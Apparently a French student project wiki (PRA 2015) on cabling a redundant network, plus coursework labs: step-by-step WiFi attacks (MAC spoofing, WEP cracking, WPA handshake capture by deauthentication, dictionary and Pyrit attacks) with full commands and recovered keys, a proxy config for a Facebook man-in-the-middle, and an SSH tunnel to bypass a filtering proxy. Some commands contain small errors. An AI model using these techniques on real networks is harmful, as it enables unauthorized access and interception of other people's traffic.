Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisation la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons tester la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothéses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé serait mené sur la carte.

=== Réalisation du code pour les appareil Cisco ===

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
<pre>
show interfaces status | include INAME\
</pre>
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.

PRA 2015 - Câblage d'un réseau redondant

2015-12-10T09:36:49Z

Froyer1 : /* Installation de la machine virtuelle */

__TOC__
== Introduction ==
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
== Câblage du résau ==
=== Le réseau idéal ===
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

[[Fichier:PRA15 - Réseau Idéal.png]]

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

=== L'avancement du cablage du réseau ===

L'image suivante détaille l'état du réseau avant le 07/10/2015.

[[Fichier:PRA15 - Réseau Temporaire.png]]

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

== La partie commune ==
=== Création d'un site Web haute disponibilité ===
==== Installation de la machine virtuelle ====
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
<pre>
# cat /etc/xen/kwak.cfg
kernel = '/boot/vmlinuz-3.14-2-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-3.14-2-amd64'
vcpus = '1'
memory = '512'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
]
name = 'kwak'
vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
</pre>
Ensuite, nous démarrons notre machine virtuelle.
<pre>
# xl create /etc/xen/kwak.cfg
</pre>
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
<pre>
# xl console kwak
</pre>
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
<pre>
# apt-get install apache2 bind
</pre>

==== Mise en place du service web ====
Pour réaliser notre site web, nous avons commencé par créer une page web basé sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]
<pre>
<!DOCTYPE>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
<script>
$(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
$(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
});
</script>
</body>
</html>
</pre>

=== Tests de sécurisation de réseaux WiFi ===
==== Accès par filtrage MAC ====
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
<pre>
airodump-ng start wlan0
</pre>
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

<pre>
airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
</pre>

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

<pre>
airodump-ng --essid baguette wlan0mon

CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette

BSSID STATION PWR Rate Lost Frames Probe
C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
</pre>

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

<pre>
ifconfig wlan1 hw ether C4:14:3C:40:78:60
</pre>

==== Accès par filtrage WEP ====
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
<pre>
#airmon-ng
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
(mac80211 station mode vif disabled for [phy1]wlan3)
</pre>
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
<pre>
#airodump-ng wlan3mon
CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09
00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02
00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06
00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05
00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08
00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07
00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03
00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01
00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2
00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21
00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9
00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37
00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63
00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59
00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94
00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
</pre>
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
<pre>
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
</pre>
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
<pre>
#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

# BSSID ESSID Encryption

1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.
</pre>
Ensuite, nous générons plus de flux à l'aide de aireplay.
<pre>
#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11 Waiting for a data packet...

Size: 70, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:23:5E:1E:05:46
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:92:23:69

0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i
0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e
0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~-
0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5
0x0040: b7bd 03c5 5093 ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13 Data packet found!
12:02:13 Sending fragmented packet
</pre>
Et enfin, aircrack trouve la clé.
<pre>
Aircrack-ng 1.2 rc2

[00:02:12] Tested 853 keys (got 40800 IVs)

KB depth byte(vote)
0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568)
1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592)
2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824)
3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800)
4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824)

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ]
Decrypted correctly: 100%
</pre>
==== Accès par filtrage WPA ====
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
<pre>
#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
$tmp = sprintf("[%02d]\n", $j);
print STDERR $tmp;
for (my $i=0; $i < ($max); $i++)
{
$outp = sprintf("%08d\n", $ite);
$ite++;
print $outp;
}
}
</pre>
Nous lançons donc la génération avec la commande
<pre>
# ./gen.pl > dic.txt
</pre>
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
<pre>
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
</pre>
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
<pre>
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
</pre>
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
<pre>
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
</pre>
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
<pre>
# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
# BSSID ESSID Encryption

1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
</pre>
=====Attaque par dictionnaire=====
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
<pre>
# aircrack-ng -w dico.txt *.cap
Aircrack-ng 1.2 beta3
[00:58:30] 12121212 keys tested (3659.24 k/s)
KEY FOUND! [ 12121212 ]
Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
</pre>
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
=====Attaque par Rainbow Tables=====
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
<pre>
# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Created ESSID 'Almost Secure WiFI'
</pre>
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
<pre>
# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
100000000 lines read. Flushing buffers... ..
All done.
</pre>
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
</pre>
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
<pre>
# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
</pre>
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
</pre>
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
<pre>
# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.
</pre>
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

=====Algorithme de génération de PMK=====
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
<pre>
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
</pre>
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
*[PASSWORD] Le mot de passe
*[SALT] Le salage (ici l'ESSID)
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
*[LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
<pre>
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
</pre>
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
<pre>
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)
</pre>
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
*[KEY] la clé utilisée pour encoder le message
*[MSG] le message à encoder
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
<pre>
function HMAC(KEY, MSG, H, HLEN)
if(length(KEY) > HLEN)
KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
if(length(KEY) < HLEN)
KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

opad_key = (opad * HLEN) ^ KEY;
ipad_key = (ipad * HLEN) ^ KEY;

return H(opad_key || H(ipad_key || MSG)
</pre>
Dans cette fonction:
*L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
*L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
*L'opérateur ^ désigne l'opérateur XOR logique
*La variable opad est une constance valant 0x5C
*La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
<pre>
function SHA1(PASS)
h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0
ml = message length in bits (always a multiple of the number of bits in a character).

append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

break message into 512-bit chunks
for each chunk
break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

//Extend the sixteen 32-bit words into eighty 32-bit words:
for i from 16 to 79
w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

//Initialize hash value for this chunk:
a = h0
b = h1
c = h2
d = h3
e = h4

//Main loop
for i from 0 to 79
if 0 ≤ i ≤ 19 then
f = (b and c) or ((not b) and d)
k = 0x5A827999
else if 20 ≤ i ≤ 39
f = b xor c xor d
k = 0x6ED9EBA1
else if 40 ≤ i ≤ 59
f = (b and c) or (b and d) or (c and d)
k = 0x8F1BBCDC
else if 60 ≤ i ≤ 79
f = b xor c xor d
k = 0xCA62C1D6

temp = (a leftrotate 5) + f + e + k + w[i]
e = d
d = c
c = b leftrotate 30
b = a
a = temp

//Add this chunk's hash to result so far:
h0 = h0 + a
h1 = h1 + b
h2 = h2 + c
h3 = h3 + d
h4 = h4 + e

//Produce the final hash value (big-endian) as a 160 bit number:
hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
</pre>
===Attaque Man In the Middle de Facebook===
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid
<pre>
acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second
</pre>
Config Squidguard
<pre>
dbhome /usr/local/squidGuard/db

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
</pre>
cat /usr/local/squidGuard/db/facebook/url
<pre>
fr-fr.facebook.com
</pre>

===Contournement d'un proxy===
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.
<pre>
# apt-get install openssh-server proxytunnel isc-dhcp-server
</pre>
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
<pre>
# vim /root/.ssh/config
Host perfectTunnel
Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
User root
Port 443
ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
</pre>
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
<pre>
ssh \
-o PermitLocalCommand=yes \
-o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
-o ServerAliveInterval=60 \
-w 5:5 perfectTunnel \
'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
</pre>
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
<pre>
# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
</pre>
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
<pre>
# route del default
# route add default gw 12.24.48.1
</pre>
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
<pre>
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
</pre>
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
<pre>
# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
range 118.218.1.1 118.218.254.254;
option routers 118.218.0.1;
option subnet-mask 255.255.0.0;
option broadcast-address 118.218.255.255;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;
</pre>
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
<pre>
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
</pre>
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>

== La partie bonus ==

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

=== Utilisation de l'écran LCD ===

